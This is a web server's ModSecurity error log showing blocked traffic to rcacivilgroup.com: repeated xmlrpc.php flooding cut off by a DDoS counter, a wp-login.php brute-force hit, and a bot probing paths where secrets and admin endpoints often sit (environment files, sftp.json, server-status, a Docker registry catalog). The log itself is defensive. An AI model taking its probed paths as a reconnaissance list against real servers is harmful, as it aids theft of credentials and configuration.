[Wed Nov 12 13:23:07.508657 2025] [:error] [pid 12744:tid 12750] [client 178.18.247.115:60772] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZu51cp_ouUvkFj0XUpwAAAQI"]
[Wed Nov 12 13:23:07.508840 2025] [:error] [pid 12744:tid 12750] [client 178.18.247.115:60772] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 7"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZu51cp_ouUvkFj0XUpwAAAQI"]
[Wed Nov 12 13:23:08.580309 2025] [:error] [pid 60405:tid 60415] [client 178.18.247.115:53639] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZvHMGv_mlVi6mf5qYqwAAAAc"]
[Wed Nov 12 13:23:08.580501 2025] [:error] [pid 60405:tid 60415] [client 178.18.247.115:53639] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZvHMGv_mlVi6mf5qYqwAAAAc"]
[Wed Nov 12 13:23:09.576879 2025] [:error] [pid 60180:tid 60191] [client 178.18.247.115:49989] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZvVhgd7ccS8EZg1rgJQAAAUk"]
[Wed Nov 12 13:23:11.542203 2025] [:error] [pid 60405:tid 60430] [client 178.18.247.115:62696] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZv3MGv_mlVi6mf5qYswAAABY"]
[Wed Nov 12 13:23:11.542335 2025] [:error] [pid 60405:tid 60430] [client 178.18.247.115:62696] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZv3MGv_mlVi6mf5qYswAAABY"]
[Wed Nov 12 13:23:12.581498 2025] [:error] [pid 60405:tid 60431] [client 178.18.247.115:50412] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZwHMGv_mlVi6mf5qYtgAAABc"]
[Wed Nov 12 13:23:12.581595 2025] [:error] [pid 60405:tid 60431] [client 178.18.247.115:50412] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 7"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZwHMGv_mlVi6mf5qYtgAAABc"]
[Wed Nov 12 13:23:13.624232 2025] [:error] [pid 60405:tid 60426] [client 178.18.247.115:57357] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZwXMGv_mlVi6mf5qYuAAAABI"]
[Wed Nov 12 13:23:15.500514 2025] [:error] [pid 12744:tid 12762] [client 178.18.247.115:53542] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZw51cp_ouUvkFj0XUxgAAAQ4"]
[Wed Nov 12 13:23:17.430062 2025] [:error] [pid 60096:tid 60136] [client 178.18.247.115:52022] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZxTmzkhCvvk8DXOxJzAAAAIo"]
[Wed Nov 12 13:23:17.430246 2025] [:error] [pid 60096:tid 60136] [client 178.18.247.115:52022] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZxTmzkhCvvk8DXOxJzAAAAIo"]
[Wed Nov 12 13:23:18.457669 2025] [:error] [pid 60097:tid 60176] [client 178.18.247.115:64588] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZxsdT5oio_TbWpi8frwAAANc"]
[Wed Nov 12 13:23:18.457806 2025] [:error] [pid 60097:tid 60176] [client 178.18.247.115:64588] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZxsdT5oio_TbWpi8frwAAANc"]
[Wed Nov 12 13:23:19.485411 2025] [:error] [pid 60097:tid 60154] [client 178.18.247.115:62533] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZx8dT5oio_TbWpi8fsQAAAMY"]
[Wed Nov 12 13:23:19.485567 2025] [:error] [pid 60097:tid 60154] [client 178.18.247.115:62533] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 8"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZx8dT5oio_TbWpi8fsQAAAMY"]
[Wed Nov 12 13:23:20.672858 2025] [:error] [pid 60095:tid 60110] [client 178.18.247.115:61589] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZyHlw2elroagFF1rhEgAAAEs"]
[Wed Nov 12 13:23:20.673049 2025] [:error] [pid 60095:tid 60110] [client 178.18.247.115:61589] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZyHlw2elroagFF1rhEgAAAEs"]
[Wed Nov 12 13:23:21.718494 2025] [:error] [pid 60095:tid 60115] [client 178.18.247.115:57188] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZyXlw2elroagFF1rhGQAAAFA"]
[Wed Nov 12 13:23:21.718664 2025] [:error] [pid 60095:tid 60115] [client 178.18.247.115:57188] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZyXlw2elroagFF1rhGQAAAFA"]
[Wed Nov 12 13:23:22.870421 2025] [:error] [pid 60097:tid 60171] [client 178.18.247.115:56961] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZysdT5oio_TbWpi8fuQAAANI"]
[Wed Nov 12 13:23:22.870614 2025] [:error] [pid 60097:tid 60171] [client 178.18.247.115:56961] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZysdT5oio_TbWpi8fuQAAANI"]
[Wed Nov 12 13:23:23.901210 2025] [:error] [pid 60097:tid 60160] [client 178.18.247.115:54633] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZy8dT5oio_TbWpi8fuwAAAMc"]
[Wed Nov 12 13:23:23.901347 2025] [:error] [pid 60097:tid 60160] [client 178.18.247.115:54633] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 7"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZy8dT5oio_TbWpi8fuwAAAMc"]
[Wed Nov 12 13:23:24.945009 2025] [:error] [pid 60095:tid 60123] [client 178.18.247.115:64121] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZzHlw2elroagFF1rhJgAAAFg"]
[Wed Nov 12 13:23:24.945246 2025] [:error] [pid 60095:tid 60123] [client 178.18.247.115:64121] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 8"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZzHlw2elroagFF1rhJgAAAFg"]
[Wed Nov 12 13:23:25.993943 2025] [:error] [pid 12744:tid 12763] [client 178.18.247.115:64706] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZzZ1cp_ouUvkFj0XU-QAAAQ8"]
[Wed Nov 12 13:23:27.862288 2025] [:error] [pid 60095:tid 60102] [client 178.18.247.115:65448] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZz3lw2elroagFF1rhLwAAAEM"]
[Wed Nov 12 13:23:27.862404 2025] [:error] [pid 60095:tid 60102] [client 178.18.247.115:65448] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 7"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZz3lw2elroagFF1rhLwAAAEM"]
[Wed Nov 12 13:23:28.906763 2025] [:error] [pid 12744:tid 12763] [client 178.18.247.115:54878] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ0J1cp_ouUvkFj0XVCgAAAQ8"]
[Wed Nov 12 13:23:28.906919 2025] [:error] [pid 12744:tid 12763] [client 178.18.247.115:54878] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 7"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ0J1cp_ouUvkFj0XVCgAAAQ8"]
[Wed Nov 12 13:23:29.939694 2025] [:error] [pid 60180:tid 60202] [client 178.18.247.115:50481] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ0Vhgd7ccS8EZg1rgSAAAAVQ"]
[Wed Nov 12 13:23:29.939877 2025] [:error] [pid 60180:tid 60202] [client 178.18.247.115:50481] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 9"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ0Vhgd7ccS8EZg1rgSAAAAVQ"]
[Wed Nov 12 13:23:30.950414 2025] [:error] [pid 60405:tid 60414] [client 178.18.247.115:63596] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ0nMGv_mlVi6mf5qY0wAAAAY"]
[Wed Nov 12 13:23:30.950547 2025] [:error] [pid 60405:tid 60414] [client 178.18.247.115:63596] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 8"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ0nMGv_mlVi6mf5qY0wAAAAY"]
[Wed Nov 12 13:23:32.085352 2025] [:error] [pid 60096:tid 60127] [client 178.18.247.115:63231] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ1DmzkhCvvk8DXOxJ4QAAAIE"]
[Wed Nov 12 13:23:32.085534 2025] [:error] [pid 60096:tid 60127] [client 178.18.247.115:63231] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 8"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ1DmzkhCvvk8DXOxJ4QAAAIE"]
[Wed Nov 12 13:23:33.135443 2025] [:error] [pid 60096:tid 60135] [client 178.18.247.115:60426] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ1TmzkhCvvk8DXOxJ4wAAAIk"]
[Wed Nov 12 13:23:33.135626 2025] [:error] [pid 60096:tid 60135] [client 178.18.247.115:60426] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 8"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ1TmzkhCvvk8DXOxJ4wAAAIk"]
[Wed Nov 12 13:23:34.188935 2025] [:error] [pid 60097:tid 60167] [client 178.18.247.115:53957] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ1sdT5oio_TbWpi8fyAAAAM4"]
[Wed Nov 12 13:23:34.189132 2025] [:error] [pid 60097:tid 60167] [client 178.18.247.115:53957] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 7"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ1sdT5oio_TbWpi8fyAAAAM4"]
[Wed Nov 12 13:23:35.199703 2025] [:error] [pid 60096:tid 60134] [client 178.18.247.115:54896] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ1zmzkhCvvk8DXOxJ5QAAAIg"]
[Wed Nov 12 13:23:35.199896 2025] [:error] [pid 60096:tid 60134] [client 178.18.247.115:54896] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ1zmzkhCvvk8DXOxJ5QAAAIg"]
[Wed Nov 12 13:23:36.253614 2025] [:error] [pid 60097:tid 60142] [client 178.18.247.115:63676] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ2MdT5oio_TbWpi8fzAAAAMA"]
[Wed Nov 12 13:23:36.253788 2025] [:error] [pid 60097:tid 60142] [client 178.18.247.115:63676] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZ2MdT5oio_TbWpi8fzAAAAMA"]
[Wed Nov 12 13:24:12.737750 2025] [:error] [pid 60096:tid 60127] [client 37.140.223.220:37955] [client 37.140.223.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.220, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQZ_DmzkhCvvk8DXOxKHAAAAIE"]
[Wed Nov 12 13:29:01.164341 2025] [:error] [pid 60097:tid 60149] [client 207.154.197.113:38922] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/@vite/env"] [unique_id "aRQbHcdT5oio_TbWpi8iFAAAAMM"]
[Wed Nov 12 13:29:01.966430 2025] [:error] [pid 60095:tid 60121] [client 207.154.197.113:38938] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/actuator/env"] [unique_id "aRQbHXlw2elroagFF1rjvwAAAFY"]
[Wed Nov 12 13:29:02.692326 2025] [:error] [pid 60180:tid 60192] [client 207.154.197.113:38950] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aRQbHlhgd7ccS8EZg1rjWQAAAUo"]
[Wed Nov 12 13:29:03.412158 2025] [:error] [pid 60405:tid 60409] [client 207.154.197.113:38954] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/server"] [unique_id "aRQbH3MGv_mlVi6mf5qbZwAAAAE"]
[Wed Nov 12 13:29:04.146058 2025] [:error] [pid 60095:tid 60114] [client 207.154.197.113:38964] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "aRQbIHlw2elroagFF1rjwAAAAE8"]
[Wed Nov 12 13:29:04.886801 2025] [:error] [pid 12744:tid 12757] [client 207.154.197.113:38968] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/about"] [unique_id "aRQbIJ1cp_ouUvkFj0XYCgAAAQk"]
[Wed Nov 12 13:29:05.623352 2025] [:error] [pid 60097:tid 60147] [client 207.154.197.113:38982] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/debug/default/view"] [unique_id "aRQbIcdT5oio_TbWpi8iGQAAAMI"]
[Wed Nov 12 13:29:06.362677 2025] [:error] [pid 60096:tid 60137] [client 207.154.197.113:38994] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/v2/_catalog"] [unique_id "aRQbIjmzkhCvvk8DXOxMlAAAAIs"]
[Wed Nov 12 13:29:07.236214 2025] [:error] [pid 60405:tid 60430] [client 207.154.197.113:39002] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aRQbI3MGv_mlVi6mf5qbagAAABY"]
[Wed Nov 12 13:29:07.975970 2025] [:error] [pid 60095:tid 60121] [client 207.154.197.113:42816] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/server-status"] [unique_id "aRQbI3lw2elroagFF1rjxQAAAFY"]
